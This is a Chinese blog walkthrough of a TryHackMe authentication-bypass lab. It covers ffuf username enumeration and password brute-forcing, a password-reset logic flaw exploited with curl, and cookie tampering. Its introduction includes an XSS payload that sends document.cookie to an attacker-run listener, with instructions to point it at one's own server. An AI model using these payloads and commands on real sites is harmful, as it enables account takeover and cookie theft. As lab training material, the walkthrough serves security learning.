[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理

引入

我们知道,登录一个网站不必全用账号密码,用cookie也能登录

我们可以构造XSS漏洞让用户点击之后获取他的cookie

另外我也在写haozi xss18关速通的攻略(因为还有些知识点不太会,还没打完,所以还没发)

这里我先给大家准备一个xss js的恶意代码

<script>
   new Image().src = "http://127.0.0.1:8000?cookie="+document.cookie;
</script>

在外网您需要替换127.0.0.1为您的服务器地址

之后我们来在服务器上开启监听

python3 -m http.server

这样就能盗取cookie

在通过cookie插件或者burpsuite抓包 尝试伪造登录

图片[1],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

我之前介绍浏览器插件里介绍过这个插件 建议观看我写的那些文章都是很实用的谢谢!

前言

房间地址:https://tryhackme.com/room/authenticationbypass

本次任务:

图片[2],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

任务二Ffuf用户名枚举

这里他直接给我们了

我们知道我们之前是使用的enum4linux进行枚举 然而这次我们学习到新知识!!!

这个倒是与九头蛇爆破类似 都是有错误信息 有post信息

图片[3],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

我们打开80端口看看

图片[4],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

可以看到报错信息

图片[5],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

那我们就使用他的命令进行枚举吧!

这个意思是只要用户存在 我们就枚举出来

在尝试查找身份验证漏洞时,一个有用的练习是创建有效用户名列表,我们稍后将在其他任务中使用该列表。

网站错误消息是整理这些信息以构建有效用户名列表的重要资源。如果我们访问 Acme IT 支持网站 ( http://10.10.85.222/customers/signup ) 注册页面,我们将获得一个用于创建新用户帐户的表单。

如果您尝试输入用户名 admin 并在其他表单字段中填写虚假信息,您会看到我们收到错误 An account with this username hasladen。我们可以利用此错误消息的存在,使用下面的 ffuf 工具生成已在系统上注册的有效用户名列表。ffuf 工具使用常用用户名列表来检查是否有匹配项。使用 ffuf 枚举用户名

在上面的示例中,-w参数选择计算机上包含我们要检查的用户名列表是否存在的文件的位置。参数-X指定请求方法,默认情况下这是一个 GET 请求,但在我们的示例中它是一个 POST 请求。该-d参数指定我们要发送的数据。在我们的示例中,我们有用户名、电子邮件、密码和 cpassword 字段。我们已将用户名的值设置为FUZZ。在 ffuf 工具中,FUZZ 关键字表示单词列表中的内容将插入到请求中的位置。该-H参数用于向请求添加附加标头。在本例中,我们设置Content-Type 以便网络服务器知道我们正在发送表单数据。该-u参数指定我们发出请求的 URL,最后,该-mr参数是我们要查找的页面上的文本,以验证我们是否找到了有效的用户名。

ffuf 工具和单词列表预安装在 AttackBox 上也可以通过从https://github.com/ffuf/ffuf下载来本地安装。

创建一个 名为 valid_usernames.txt 的文件并添加您使用 ffuf 找到的用户名; 这些将在任务 3 中使用。回答以下问题。

好的让我们开始枚举

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.85.222/customers/signup -mr "username already exists"
图片[6],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

对此我专门去下这个字典

在我去下载这个项目的时候我发现这个字典很大 我硬盘不够了 因此我只能去下载单独这一个字典

图片[7],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

我把他放在我的桌面上了

好的让子弹飞一会

图片[8],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

另外我插一句这个是属于印度国家的用户名

好的咱也是跑完了

图片[9],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

admin robert simon steve四个用户名

任务三Ffuf爆破多个用户密码

图片[10],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

他说可能遇到困难

实际上一点也不困难

让我们touch一个文本文件 并且nano去编辑他

touch valid_usernames.txt
nano valid_usernames.txt

让我们把我们的用户名去保存在里面

图片[11],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

ctrl+O保存 回车退出

让我们去准备一个字典 这里看到靶场给的100个密码txt (有点少)

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.85.222/customers/login -fc 200

四个用户名 乘以4 跑四百次很快跑完了

图片[12],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

可以看到我们就爆出了一个账号密码是steve的不过那也足够了

任务四逻辑缺陷

图片[13],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网
图片[14],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网
图片[15],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

给大家看一下靶场的提示:

图片[16],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网
图片[17],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网
图片[18],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

我在这里给大家解释一下我的理解:

这里是通过改变表单的邮箱密码达到找回密码的效果 我们看到robert的邮箱原来是robert@acmeitsupport.thm

我们需要更换为自己的,由此我们需要先注册一个邮箱

图片[19],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网
图片[20],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

让我们看一下我们的Account账户

图片[21],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

根据下面这个请求我们把username换成我们的godyu 为username为robert的账户发送一个找回密码的信息

curl 'http://10.10.45.75/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=godyu@customer.acmeitsupport.thm'
图片[22],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

返回我们的邮箱查看

图片[23],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

跟我们常见的邮箱找回密码一样

图片[24],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

我们需要点进去他给的链接

可以看到我们点进去用户名已经编程robert

图片[25],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

我门打开我们的邮箱信息

图片[26],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

复制一下我们的Thm flag

图片[27],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

任务五Cookie篡改

先看一下靶场提示:

图片[28],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网
图片[29],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网
图片[30],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网
图片[31],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

cookie和session的介绍

我在给大家介绍一下cookie和session

我们都知道cookie是判断用户登录的凭据它和我们的账号密码一样重要,关于session我们以b站为例,我们登录账号密码后长期保持登录状态,这就是我们的session的作用,因为域用PHP写过session正好给大家展示一下

图片[32],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网
图片[33],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

一般来说session和cookie是在一起存在的 我为登录的cookie设置了120s 120s后自动销毁

查看一下我们的效果

图片[34],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网
图片[35],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

看我们的sessionID 拿到这个就可以搞事了

120s后我们刷新

图片[36],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

如何在一个网站获取我们的cookie呢

其实很简单那我的博客举例

我们只要打开F12控制台输入document.cookie就能看到我们的cookie

图片[37],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

简单篡改cookie

好的回归靶场:

我们先解决Thm的前几个问题

Cookie篡改:

我们只要把cookie值设置为登录=true ,admin=true就行了 如果有编码那就编码为md5或者Base64

我们篡改一下为admin就能获取到我们的cookie

curl http://10.10.45.75/cookie-test
curl -H "Cookie: logged_in=true; admin=false" http://10.10.45.75/cookie-test
curl -H "Cookie: logged_in=true; admin=true" http://10.10.45.75/cookie-test
图片[38],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网
图片[39],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

解md5 和Base64

图片[40],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网
图片[41],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

对于最后一个编码就好了

图片[42],[Thm红队]靶场之身份验证绕过及Ffuf模糊测试及cookie篡改原理,网络安全爱好者中心-神域博客网

结束语

本次只是简单带入cookie和session的了解以及简单的篡改,后续等我继续学习,对XSS了解更深的时候教大家如何窃取他人的cookie并且登录(只用于合法测试)

------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容